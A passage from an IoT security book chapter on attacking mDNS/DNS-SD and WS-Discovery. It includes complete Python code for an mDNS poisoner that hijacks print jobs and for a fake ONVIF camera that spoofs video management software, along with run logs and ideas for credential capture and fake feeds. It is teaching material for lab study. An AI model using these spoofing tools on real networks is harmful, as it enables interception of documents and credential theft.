00:0c:29:f4:74:2a fdd6:f51d:5ca8:0:e923:d17e:4a0f:184d QUERY Question: 6.5.a.8.4.8.5.8.4.a.9.7.e.1.8.c.0.0.0.0.8.a.c.5.d.1.5.f.6.d.d.f.ip6.arpa. * (ANY) QM Class:IN
Query Name =  ubuntu-134.local  Type= 255
00:0c:29:f4:74:2a fdd6:f51d:5ca8:0:e923:d17e:4a0f:184d QUERY Question: ubuntu-134.local. * (ANY) QM Class:IN
00:0c:29:f4:74:2a fdd6:f51d:5ca8:0:e923:d17e:4a0f:184d QUERY Auth_NS: ubuntu-134.local. AAAA Class:IN "fdd6:f51d:5ca8:0:c81e:79a4:8584:8a56"

When the Ubuntu host booted up, its mDNS responder tried to query for the local name ubuntu.local. Because Pholus continuously sent fake replies indicating that the attacker owned that name, the Ubuntu host kept iterating over new potential names, like ubuntu-2.local, ubuntu-3.local, and so on without ever being able to register. Notice that the host reached up to the naming ubuntu-133.local without success.

mDNS and DNS-SD Man-in-the-Middle Attacks

Now let’s try a more advanced attack with a bigger impact: mDNS poisoning attackers on the local network place themselves in a privileged, man-in-the-middle position between a client and some service by exploiting the lack of authentication in mDNS. This allows them to capture and modify potentially sensitive data transmitted over the network or simply deny service.

In this section, we’ll build an mDNS poisoner in Python that pretends to be a network printer to capture documents intended for the real printer. Then we’ll test the attack in a virtual environment.

Setting Up the Victim Server

We’ll start by setting up the victim machine to run an emulated printer using ippserver. Ippserver is a simple Internet Printing Protocol (IPP) server that can act as a very basic print server. We used Ubuntu 18.04.2 LTS (IP address: 192.168.10.219) in VMware, but the exact specifics of the operating system shouldn’t matter as long as you can run a current version of ippserver.

After installing the operating system, run the print server by entering the following command in a terminal:

$ ippserver test -v

This command invokes the ippserver with the default configuration settings. It should listen on TCP port 8000, announce a service named test, and enable verbose output. If you have Wireshark open when you start the server, you should notice that the server performs the probing phase by sending an mDNS query on the local multicast address 224.0.0.251, asking if anyone already has any print services with the name test (Figure 6-7).

f06007

Figure 6-7: Ippserver sends an mDNS query asking if the resource records related to the printer service named test are already in use.

This query also contains some proposed records in the Authority Section (you can see these under Authoritative nameservers in Figure 6-7). Because this isn’t an mDNS reply, those records don’t count as official responses; instead, they’re used for tiebreaking simultaneous probes, a situation that doesn’t concern us now.

The server will then wait a couple of seconds, and if no one else on the network replies, it will move on to the Announcing phase. In this phase, ippserver sends an unsolicited mDNS response containing, in the Answer Section, all of its newly registered resource records (Figure 6-8).

f06008

Figure 6-8: During the Announcing phase, ippserver sends an unsolicited mDNS response containing the newly registered records.

This response includes a set of PTR, SRV, and TXT records for each service, as explained in “How DNS-SD Works” on page 132. It also includes A records (for IPv4) and AAAA records (for IPv6), which are used to resolve the domain name with IP addresses. The A record for ubuntu.local in this case will contain the IP address 192.168.10.219.

Setting Up the Victim Client

For the victim requesting the printing service, you can use any device running an operating system that supports mDNS and DNS-SD. In this example, we’ll use a MacBook Pro running macOS High Sierra. Apple’s zero-configuration networking implementation is called Bonjour, and it’s based on mDNS. Bonjour should be enabled by default in macOS. If it isn’t, you can enable it by entering the following command in the Terminal:

$ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist

Figure 6-9 shows how mDNSResponder (Bonjour’s main engine) automatically finds the legitimate Ubuntu print server when we click System Preferences Printers & Scanners and click the + button to add a new printer.

To make the attack scenario more realistic, we assume that the MacBook already has a preconfigured network printer named test. One of the most important aspects of automatic service discovery is that it doesn’t matter if our system has already discovered the service in the past! This increases flexibility (although it sacrifices security). A client needs to be able to communicate with the service, even if the hostname and IP address have changed; so whenever the macOS client needs to print a document, it will send a new mDNS query asking where the test service is, even if that service has the same hostname and IP address as it did the last time.

f06009

Figure 6-9: The legitimate printer automatically discovered by macOS’s built-in Bonjour service

How Typical Client and Server Interactions Work

Now let’s look at how the macOS client requests the printer service when things are working correctly. As shown in Figure 6-10, the client’s mDNS query about the test service will ask about the SRV and TXT records belonging to test._ipps._tcp.local. It also asks for similar alternative services, such as test._printer._tcp.local and test._ipp._tcp.local.

f06010

Figure 6-10: The mDNS query the client will initially send to discover local network printers asks again about the test ipps service, even though it might have used it in the past.

The Ubuntu system will then reply as it did in the Announcing phase. It will send responses that contain PTR, SRV, and TXT records for all the requested services that it’s supposed to have authority over (for example, test._ipps._tcp.local) and A records (as well as AAAA records, if the host has IPv6 enabled). The TXT record (Figure 6-11) is particularly important in this case, because it contains the exact URL (adminurl) for the printer jobs to be posted.

f06011

Figure 6-11: Part of the TXT record, which is included in the ippserver’s mDNS response Answer section. The adminurl has the exact location of the print queue.

Once the macOS client has this information, it now knows everything it needs to send its print job to the Ubuntu ippserver:

  • From the PTR record, it knows that there is an _ipps._tcp.local with a service named test.
  • From the SRV record, it knows that this test._ipps._tcp.local service is hosted on ubuntu.local on TCP port 8000.
  • From the A record, it knows that ubuntu.local resolves to 192.168.10.219.
  • From the TXT record, it knows that the URL to post the print jobs is https://ubuntu.8000/ipp/print.

The macOS client will then initiate an HTTPS session with ippserver on port 8000 and transmit the document to be printed:

[Client 1] Accepted connection from "192.168.10.199".
[Client 1] Starting HTTPS session.
[Client 1E] Connection now encrypted.
[Client 1E] POST /ipp/print
[Client 1E] Continue
[Client 1E] Get-Printer-Attributes successful-ok
[Client 1E] OK
[Client 1E] POST /ipp/print
[Client 1E] Continue
[Client 1E] Validate-Job successful-ok
[Client 1E] OK
[Client 1E] POST /ipp/print
[Client 1E] Continue
[Client 1E] Create-Job successful-ok
[Client 1E] OK

You should see output like this from the ippserver.

Creating the mDNS Poisoner

The mDNS poisoner we’ll write using Python listens for multicast mDNS traffic on UDP port 5353 until it finds a client trying to connect to the printer, and then sends it replies. Figure 6-12 illustrates the steps involved.

f06012

Figure 6-12: mDNS poisoning attack steps

First, the attacker listens for multicast mDNS traffic on UDP port 5353. When the macOS client rediscovers the test network printer and sends an mDNS query, the attacker continuously sends replies to the poison client’s cache. If the attacker wins the race against the legitimate printer, the attacker becomes a man in the middle, fielding traffic from the client. The client sends a document to the attacker, which the attacker can then forward to the printer to avoid detection. If the attacker doesn’t forward the document to the printer, the user might get suspicious when it isn’t printed.

We’ll start by creating a skeleton file (Listing 6-2) and then implementing simple network server functionality for listening on the multicast mDNS address. Note that the script is written in Python 3.

  #!/usr/bin/env python
  import time, os, sys, struct, socket
  from socketserver import UDPServer, ThreadingMixIn
  from socketserver import BaseRequestHandler
  from threading import Thread
  from dnslib import *

  MADDR = ('224.0.0.251', 5353)
class UDP_server(ThreadingMixIn, UDPServer): 1
    allow_reuse_address = True
    def server_bind(self):
      self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  
      mreq = struct.pack("=4sl", socket.inet_aton(MADDR[0]), socket.INADDR_ANY)
      self.socket.setsockopt(socket.IPPROTO_IP, 2socket.IP_ADD_MEMBERSHIP, mreq)
      UDPServer.server_bind(self)

  def MDNS_poisoner(host, port, handler): 3
    try:
      server = UDP_server((host, port), handler)
      server.serve_forever()
    except:
      print("Error starting server on UDP port " + str(port))

class MDNS(BaseRequestHandler):
    def handle(self):
      target_service = ''
      data, soc = self.request
      soc.sendto(d.pack(), MADDR)
      print('Poisoned answer sent to %s for name %s' % (self.client_address[0], target_service))

def main(): 4
    try:
      server_thread = Thread(target=MDNS_poisoner,  args=('', 5353, MDNS,))
      server_thread.setDaemon(True)
      server_thread.start()

      print("Listening for mDNS multicast traffic")
      while True:
        time.sleep(0.1)

    except KeyboardInterrupt:
      sys.exit("
Exiting...")

  if __name__ == '__main__':
    main()

Listing 6-2: The skeleton file for the mDNS poisoner

We start with the imports for the Python modules we’ll need. The socketserver framework simplifies the task of writing network servers. For parsing and crafting mDNS packets, we import dnslib, a simple library to encode and decode DNS wire-format packets. We then define a global variable MADDR that holds the mDNS multicast address and default port (5353).

We create the UDP_server 1using the ThreadingMixIn class, which implements parallelism using threads. The server’s constructor will call the server_bind function to bind the socket to the desired address. We enable allow_reuse_address so we can reuse the bound IP address and the SO_REUSEADDR socket option, which allows the socket to forcibly bind to the same port when we restart the program. We then have to join the multicast group (224.0.0.251) with IP_ADD_MEMBERSHIP 2.

The MDNS_poisoner function 3 creates an instance of the UDP_server and calls serve_forever on it to handle requests until an explicit shutdown. The MDNS class handles all incoming requests, parsing them and sending back the replies. Because this class is the brainpower of the poisoner, we’ll explore the class in more detail later. You’ll have to replace this block of code (Listing 6-3) with the complete MDNS class in Listing 6-2.

The main function 4 creates the main thread for the mDNS server. This thread will automatically start new threads for each request, which the MDNS.handle function will handle. With setDaemon(True), the server will exit when the main thread terminates, and you can terminate the main thread by pressing CTRL-C, which will trigger the KeyboardInterrupt exception. The main program will finally enter an infinite loop, and the threads will handle all the rest.

Now that we’ve created the skeleton, let’s outline the methodology for creating the MDNS class, which implements the mDNS poisoner:

  1. 1. Capture network traffic to determine which packets you need to reproduce and save the pcap file for later.
  2. 2. Export the raw packet bytes from Wireshark.
  3. 3. Search for libraries implementing existing functionality, such as dnslib for the DNS packet handling, so you don’t reinvent the wheel.
  4. 4. When you need to parse incoming packets, as is the case with the mDNS query, first use the previously exported packets from Wireshark to initially feed into the tool instead of getting new ones from the network.
  5. 5. Start sending packets on the network, and then compare them with the first traffic dump.
  6. 6. Finalize and refine the tool by cleaning up and commenting code, as well as adding real-time configurability via command line arguments.

Let’s see what our most important class, MDNS, does (Listing 6-3). Replace the MDNS block in Listing 6-2 with this code.

class MDNS(BaseRequestHandler):
  def handle(self):
    target_service = ''
    data, soc = self.request 1
    d = DNSRecord.parse(data) 2

    # basic error checking - does the mDNS packet have at least 1 question?
    if d.header.q < 1:
      return

    # we are assuming that the first question contains the service name we want to spoof
    target_service = d.questions[0]._qname 3

    # now create the mDNS reply that will contain the service name and our IP address
    d = DNSRecord(DNSHeader(qr=1, id=0, bitmap=33792)) 4
    d.add_answer(RR(target_service, QTYPE.SRV, ttl=120, rclass=32769, rdata=SRV(priority=0, target='kali.local', weight=0, port=8000)))
    d.add_answer(RR('kali.local', QTYPE.A, ttl=120, rclass=32769, rdata=A("192.168.10.10"))) 5
    d.add_answer(RR('test._ipps._tcp.local', QTYPE.TXT, ttl=4500, rclass=32769, rdata=TXT(["rp=ipp/print", "ty=Test Printer", "adminurl=https://kali:8000/ipp/print", "pdl=application/pdf,image/jpeg,image/pwg-raster", "product=(Printer)", "Color=F", "Duplex=F", "usb_MFG=Test", "usb_MDL=Printer", "UUID=0544e1d1-bba0-3cdf-5ebf-1bd9f600e0fe", "TLS=1.2", "txtvers=1", "qtotal=1"]))) 6

    soc.sendto(d.pack(), MADDR) 7
    print('Poisoned answer sent to %s for name %s' % (self.client_address[0], target_service))

Listing 6-3: The final MDNS class for our poisoner

We’re using Python’s socketserver framework to implement the server. The MDNS class has to subclass the framework’s BaseRequestHandler class and override its handle() method to process incoming requests. For UDP services, self.request 1 returns a string and socket pair, which we save locally. The string contains the data incoming from the network, and the socket pair is the IP address and port belonging to the sender of that data.

We then parse the incoming data using dnslib 2, converting them into a DNSRecord class that we can then use to extract the domain name 3 from the QNAME of the Question section. The Question section is the part of the mDNS packet that contains the Queries (for example, see Figure 6-7). Note that to install dnslib, you can do the following:

# git clone https://github.com/paulc/dnslib
# cd dnslib
# python setup.py install

Next, we must create our mDNS reply 4 containing the three DNS records we need (SRV, A, and TXT). In the Answers section, we add the SRV record that associates the target_service with our hostname (kali.local) and port 8000. We add the A record 5 that resolves the hostname to the IP address. Then we add the TXT record 6 that, among other things, contains the URL for the fake printer to be contacted at https://kali:8000/ipp/print.

Finally, we send the reply to the victim through our UDP socket 7.

As an exercise, we leave it to you to configure the hardcoded values contained in the mDNS reply step. You could also make the poisoner more flexible so it poisons a specific target IP and service name only.

Testing the mDNS Poisoner

Now let’s test the mDNS poisoner. Here is the attacker’s poisoner running:

root@kali:~/mdns/poisoner# python3 poison.py
Listening for mDNS multicast traffic
Poisoned answer sent to 192.168.10.199 for name _universal._sub._ipp._tcp.local.
Poisoned answer sent to 192.168.10.219 for name test._ipps._tcp.local.
Poisoned answer sent to 192.168.10.199 for name _universal._sub._ipp._tcp.local.

We try to automatically grab the print job from the victim client, getting it to connect to us instead of the real printer by sending seemingly legitimate mDNS traffic. Our mDNS poisoner replies to the victim client 192.168.10.199, telling it that the attacker holds the _universal._sub._ipp._tcp.local name. The mDNS poisoner also tells the legitimate printer server (192.168.10.219) that the attacker holds the test._ipps._tcp.local name.

Remember that this is the name that the legitimate print server was advertising. Our poisoner, a simple proof of concept script at this stage, doesn’t distinguish between targets; rather, it indiscriminately poisons every request it sees.

Here is the ippserver that emulates a printer server:

root@kali:~/tmp# ls
root@kali:~/tmp# ippserver test -d . -k -v
Listening on port 8000.
Ignore Avahi state 2.
printer-more-info=https://kali:8000/
printer-supply-info-uri=https://kali:8000/supplies
printer-uri="ipp://kali:8000/ipp/print"
Accepted connection from 192.168.10.199
192.168.10.199 Starting HTTPS session.
192.168.10.199 Connection now encrypted.
…

With the mDNS poisoner running, the client (192.168.10.199) will connect to the attacker’s ippserver instead of the legitimate printer (192.168.10.219) to send the print job.

But this attack doesn’t automatically forward the print job or document to the real printer. Note that in this scenario, the Bonjour implementation of mDNS/DNS-SD seems to query the _universal name every time the user tries to print something from the MacBook, and it would need to be poisoned as well. The reason is that our MacBook was connected to our lab via Wi-Fi, and macOS was trying to use AirPrint, a macOS feature for printing via Wi-Fi. The _universal name is associated with AirPrint.

Exploiting WS-Discovery

The Web Services Dynamic Discovery Protocol (WS-Discovery) is a multicast discovery protocol that locates services on a local network. Have you ever wondered what could happen if you pretended to be an IP camera by imitating its network behavior and attacking the server that manages it? Corporate networks, on which a large number of cameras reside, often rely on video management servers, software that lets system administrators and operators remotely control the devices and view their video feed through a centralized interface.

Most modern IP cameras support ONVIF, an open industry standard developed to let physical, IP-based security products work with each other, including video surveillance cameras, recorders, and associated software. It’s an open protocol that surveillance software developers can use to interface with ONVIF-compliant devices regardless of the device’s manufacturer. One of its features is automatic device discovery, which it typically carries out using WS-Discovery. In this section, we’ll explain how WS-Discovery works, create a proof of concept Python script for exploiting inherent protocol vulnerabilities, create a fake IP camera on the local network, and discuss other attack vectors.

How WS-Discovery Works

Without getting into too many details, we’ll provide a brief overview of how WS-Discovery works. In WS-Discovery terminology, a Target Service is an endpoint that makes itself available for discovery, whereas a Client is an endpoint that searches for Target Services. Both use SOAP queries over UDP to the 239.255.255.250 multicast address with the destination UDP port 3702. Figure 6-13 represents the message exchanges between the two.

f06013

Figure 6-13: WS-Discovery message exchanges between a Target Service and a Client

A Target Service sends a multicast Hello 1 when it joins a network. The Target Service can receive a multicast Probe 2, a message sent by a Client searching for a Target Service by Type, at any time. The Type is an identifier for the endpoint. For example, an IP camera could have NetworkVideoTransmitter as a Type. It might also send a unicast Probe Match3 if the Target Service matches a Probe (other matching Target Services might also send unicast Probe Matches). Similarly, a Target Service might receive a multicast Resolve4 at any time, a message sent by a Client searching for a Target by name, and send a unicast Resolve Match5 if it’s the target of a Resolve. Finally, when a Target Service leaves a network, it makes an effort to send a multicast Bye 6.

A Client mirrors the Target Service messages. It listens to the multicast Hello, might Probe to find Target Services or Resolve to find a particular Target Service, and listens to the multicast Bye. We mostly want to focus on the second and third steps 23 for the attack we’ll perform in this section.

Faking Cameras on Your Network

We’ll first set up a test environment with IP camera management software on a virtual machine, and then use a real network camera to capture packets and analyze how it interacts with the software through WS-Discovery in practice. Then we’ll create a Python script that will imitate the camera with the goal of attacking the camera management software.

Setting up

We’ll demonstrate this attack using an earlier version (version 7.8) of exacqVision, a well-known tool for IP camera management. You could also use a similar free tool, such as Camlytics, iSpy, or any kind of camera management software that uses WS-Discovery. We’ll host the software on a virtual machine with the IP address 192.168.10.240. The actual network camera we’ll be imitating has the IP address 192.168.10.245. You can find the version of exacqVision we’re using at https://www.exacq.com/reseller/legacy/?file=Legacy/index.html/.

Install the exacqVision server and client on a Windows 7 system hosted on VMware, and then start the exacqVision client. It should connect locally to the corresponding server; the client acts as a user interface to the server, which should have started as a background service on the system. Then we can start discovering network cameras. On the Configuration page, click exacqVision ServerConfigure SystemAdd IP Cameras, and then click the Rescan Network button (Figure 6-14).

f06014

Figure 6-14: exacqVision client interface for discovering new network cameras using WS-Discovery

Doing so will send a WS-Discovery Probe (message 2 in Figure 6-14) to the multicast address 239.255.255.250 over UDP port 3702.

Analyzing WS-Discovery Requests and Replies in Wireshark

As an attacker, how can we impersonate a camera on the network? It’s fairly easy to understand how typical WS-discovery requests and replies work by experimenting with an off-the shelf camera, such as Amcrest, as shown in this section. In Wireshark, start by enabling the “XML over UDP” dissector by clicking Analyze in the menu bar. Then click Enabled Protocols. Search for “udp” and select the XML over UDP box (Figure 6-15).

f06015

Figure 6-15: Selecting the XML over UDP dissector in Wireshark

Next, activate Wireshark on the virtual machine that runs the exacqVision server and capture the Probe Match reply (message 3 in 9) from the Amcrest camera to the WS-Discovery Probe. We can then right-click the packet and click Follow UDP stream. We should see the entire SOAP/XML request. We’ll need this request value in the next section as we develop our script; we’ll paste it into the orig_buf variable in Listing 6-4.

Figure 6-16 shows the output of the WS-Discovery Probe in Wireshark. The exacqVision client outputs this information whenever it scans the network for new IP cameras.

f06016

Figure 6-16: The WS-Discovery Probe from exacqVision, output by Wireshark

The most important part of this probe is the MessageID UUID (highlighted), because this needs to be included in the Probe Match reply. (You can read more about this in the official WS-Discovery specification at /s:Envelope/s:Header/a:RelatesTo MUST be the value of the [message id] property [WS-Addressing] of the Probe.)

Figure 6-17 shows the Probe Match reply from the real Amcrest IP camera.

f06017

Figure 6-17: WS-Discovery Probe Match reply from an Amcrest IP camera on the network. Notice that the RelatesTo UUID is the same as the MessageID UUID that exacqVision sent.

The RelatesTo field contains the same UUID as the one in the MessageID of the XML payload that the exacqVision client sent.

Emulating a Camera on the Network

Now we’ll write a Python script that emulates a real camera on the network with the intent of attacking the exacqVision software and taking the place of the real camera. We’ll use Amcrest’s Probe Match reply to exacqVision as the foundation for creating our attacking payload. We need to create a listener on the network that receives the WS-Discovery Probe from exacqVision, extracts the MessageID from it, and uses it to finalize our attacking payload as a WS Probe Match reply.

The first part of our code imports necessary Python modules and defines the variable that holds the original WS-Discovery Probe Match reply from Amcrest, as shown in Listing 6-4.

#!/usr/bin/env python
import socket
import struct
import sys
import uuid

buf = ""
orig_buf = '''<?xml version="1.0" encoding="utf-8" standalone="yes" ?><s:Envelope 1  xmlns:sc="http://www.w3.org/2003/05/soap-encoding" xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:dn="http://www.onvif.org/ver10/network/wsdl" xmlns:tds="http://www.onvif.org/ver10/device/wsdl" xmlns:d="http://schemas.xmlsoap.org/ws/2005/04/discovery"
xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">
<s:Header><a:MessageID>urn:uuid:_MESSAGEID_</a:MessageID><a:To>urn:schemas-xmlsoap-org:ws:2005:04:discovery</a:To><a:Action>http://schemas.xmlsoap.org/ws/2005/04/discovery/ProbeMatches 2
</a:Action><a:RelatesTo>urn:uuid:_PROBEUUID_</a:RelatesTo></s:Header><s:Body><d:ProbeMatches><d:ProbeMatch><a:EndpointReference><a:Address>uuid:1b77a2db-c51d-44b8-bf2d-418760240ab6</a:Address></a:EndpointReference><d:Types>dn:NetworkVideoTransmitter 3
tds:Device</d:Types><d:Scopes>onvif://www.onvif.org/location/country/china  
 onvif://www.onvif.org/name/Amcrest  4
 onvif://www.onvif.org/hardware/IP2M-841B 
 onvif://www.onvif.org/Profile/Streaming 
 onvif://www.onvif.org/type/Network_Video_Transmitter 
 onvif://www.onvif.org/extension/unique_identifier</d:Scopes>
<d:XAddrs>http://192.168.10.10/onvif/device_service</d:XAddrs><d:MetadataVersion>1</d:MetadataVersion></d:ProbeMatch></d:ProbeMatches></s:Body></s:Envelope>'''

Listing 6-4: Module imports and the definition of the original WS-Discovery Probe Match reply from the Amcrest camera

We start with the standard Python shebang line to make sure the script can run from the command line without specifying the full path of the Python interpreter, as well as the necessary module imports. Then we create the orig_buf variable 1, which holds the original WS-Discovery reply from Amcrest as a string. Recall from the previous section that we pasted the XML request into the variable after capturing the message in Wireshark. We create a placeholder _MESSAGEID_2. We’ll replace this with a new unique UUID that we’ll generate every time we receive a packet. Similarly, the _PROBEUUID_ 3 will contain the UUID as extracted from the WS-Discovery Probe at runtime. We have to extract it every time we receive a new WS-Discovery Probe from exacqVision. The name portion 4 of the XML payload is a good place to fuzz with malformed input, because we saw that the Amcrest name appears in the client’s listing of cameras and will thus have to first be parsed by the software internally.

The next part of the code, in Listing 6-5, sets up the network sockets. Place it immediately after the code in Listing 6-3.

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.setsockopt(socket.SOL_SOCKET, 1socket.SO_REUSEADDR, 1)
sock.bind(('239.255.255.250', 3702))
mreq = struct.pack("=4sl", socket.inet_aton(2"239.255.255.250"), socket.INADDR_ANY)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)

Listing 6-5: Setting up the network sockets

We create a UDP socket and set the SO_REUSEADDR socket option 1 that lets the socket bind to the same port whenever we restart the script. Then we bind to the multicast address 239.255.255.250 on port 3702, because these are the standard multicast address and default port used in WS-Discovery. We also have to tell the kernel that we’re interested in receiving network traffic directed to 239.255.255.250 by joining that multicast group address 2.

Listing 6-6 shows the final part of our code, which includes the main loop.

  while True:
    print("Waiting for WS-Discovery message...
", file=sys.stderr)
    data, addr = sock.recvfrom(1024) 1
    if data:
      server_addr = addr[0] 2
      server_port = addr[1]
      print('Received from: %s:%s' % (server_addr, server_port), file=sys.stderr)
      print('%s' % (data), file=sys.stderr)
      print("
", file=sys.stderr)

      # do not parse any further if this is not a WS-Discovery Probe
      if "Probe" not in data: 3
        continue

      # first find the MessageID tag
      m = data.find("MessageID") 4
      # from that point in the buffer, continue searching for "uuid" now
      u = data[m:-1].find("uuid")
      num = m + u + len("uuid:")
      # now get where the closing of the tag is
      end = data[num:-1].find("<")
      # extract the uuid number from MessageID
      orig_uuid = data[num:num + end]
      print('Extracted MessageID UUID %s' % (orig_uuid), file=sys.stderr)

      # replace the _PROBEUUID_ in buffer with the extracted one
      buf = orig_buf
      buf = buf.replace("_PROBEUUID_", orig_uuid) 5
      # create a new random UUID for every packet
      buf = buf.replace("_MESSAGEID_", str(uuid.uuid4())) 6

      print("Sending WS reply to %s:%s
" % (server_addr, server_port), file=sys.stderr)

      udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 7
      udp_socket.sendto(buf, (server_addr, server_port))

Listing 6-6: The main loop, which receives a WS-Discovery Probe message, extracts the MessageID, and sends the attacking payload

The script enters an infinite loop in which it listens for WS-Discovery Probe messages 1 until we stop it (CTRL-C will exit the loop on Linux). If we receive a packet that contains data, we get the sender’s IP address and port 2 and save them in the variables server_addr and server_port, respectively. We then check whether the string "Probe"3 is included inside the received packet; if it is, we assume this packet is a WS-Discovery Probe. Otherwise, we don’t do anything else with the packet.

Next, we try to find and extract the UUID from the MessageID XML tag without using any part of the XML library (because this would create unnecessary overhead and complicate this simple operation), relying only on basic string manipulation 4. We replace the _PROBEUUID_ placeholder from Listing 6-3 with the extracted UUID 5 and create a new random UUID to replace the _MESSAGE_ID placeholder 6. Then we send the UDP packet back to the sender 7.

Here is an example run of the script against the exacqVision software:

root@kali:~/zeroconf/ws-discovery# python3 exacq-complete.py 
Waiting for WS-Discovery message...
Received from: 192.168.10.169:54374
<?xml version="1.1" encoding="utf-8"?><Envelope xmlns:dn="http://www.onvif.org/ver10/network/wsdl" xmlns="http://www.w3.org/2003/05/soap-envelope"><Header><wsa:MessageID xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing">urn:uuid:2ed72754-2c2f-4d10-8f50-79d67140d268</wsa:MessageID><wsa:To xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing">urn:schemas-xmlsoap-org:ws:2005:04:discovery</wsa:To><wsa:Action xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</wsa:Action></Header><Body><Probe xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance xmlns:xsd=http://www.w3.org/2001/XMLSchema xmlns="http://schemas.xmlsoap.org/ws/2005/04/discovery"><Types>dn:NetworkVideoTransmitter</Types><Scopes /></Probe></Body></Envelope>
Extracted MessageID UUID 2ed72754-2c2f-4d10-8f50-79d67140d268
Sending WS reply to 192.168.10.169:54374
Waiting for WS-Discovery message...

Notice that every time you run the script, the MessageID UUID will be different. We leave it as an exercise for you to print the attacking payload and verify that same UUID appears in the RelatesTo field inside it.

In the exacqClient interface, our fake camera appears in the list of devices, as shown in Figure 6-18.

f06018

Figure 6-18: Our fake camera appears on the exacqClient list of IP cameras.

In the next section, we’ll explore what you could accomplish once you’ve been registered as a camera.

Crafting WS-Discovery Attacks

What types of attacks can you conduct by abusing this simple discovery mechanism? First, you can attack the video management software through this vector, because XML parsers are notorious for bugs that lead to memory corruption vulnerabilities. Even if the server doesn’t have any other exposed listening port, you could feed it malformed input through WS-Discovery.

A second attack would have two steps. First, cause a denial of service on a real IP camera so it loses connection to the video server. Second, send WS-Discovery information that makes your fake camera look like the legitimate, disconnected one. In that case, you might be able to fool the server’s operator into adding the fake camera to the list of cameras that the server manages. Once added, you can feed the server with artificial video input.

In fact, in some cases you could carry out the previous attack without even causing a denial of service in the real IP camera. You’d just have to send the WS-Discovery Probe Match response to the video server before the real camera sends it. In that case, and assuming the information is identical or similar enough (replicating the Name, Type, and Model fields from the real camera is enough most times), the real camera won’t even appear in the management software if you’ve successfully taken its place.

Third, if the video software uses an insecure authentication to the IP camera (for example, HTTP basic authentication), it’s possible to capture the credentials. An operator who adds your fake camera will type in the same username and password as the original one. In that case, you might be able to capture the credentials as the server attempts to authenticate against what it assumes is the real one. Because password reuse is a common problem, it’s likely that other cameras on the network use the same password, especially if they’re of the same model or vendor.

A fourth attack could be to include malicious URLs in the WS-Discovery Match Probe’s fields. In some cases, the Match Probe is displayed to the user, and the operator might be tempted to visit the links.

Additionally, the WS-Discovery standard includes a provision for “Discovery Proxies.” These are essentially web servers that you could leverage to operate WS-Discovery remotely, even across the internet. This means that the attacks described here could potentially take place without the adversary being positioned on the same local network.

Conclusion

In this chapter, we analyzed UPnP, WS-Discovery, and mDNS and DNS-SD, all of which are common zero-configuration network protocols in IoT ecosystems. We described how to attack an insecure UPnP server on OpenWrt to punch holes in the firewall, and then discussed how to exploit UPnP over WAN interfaces. Next, we analyzed how mDNS and DNS-SD work and how you can abuse them, and we built an mDNS poisoner in Python. Then we inspected WS-Discovery and how to exploit it to conduct a variety of attacks on IP camera management servers. Almost all of these attacks rely on the inherent trust that these protocols put on participants in the local network, favoring automation over security.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.145.36.10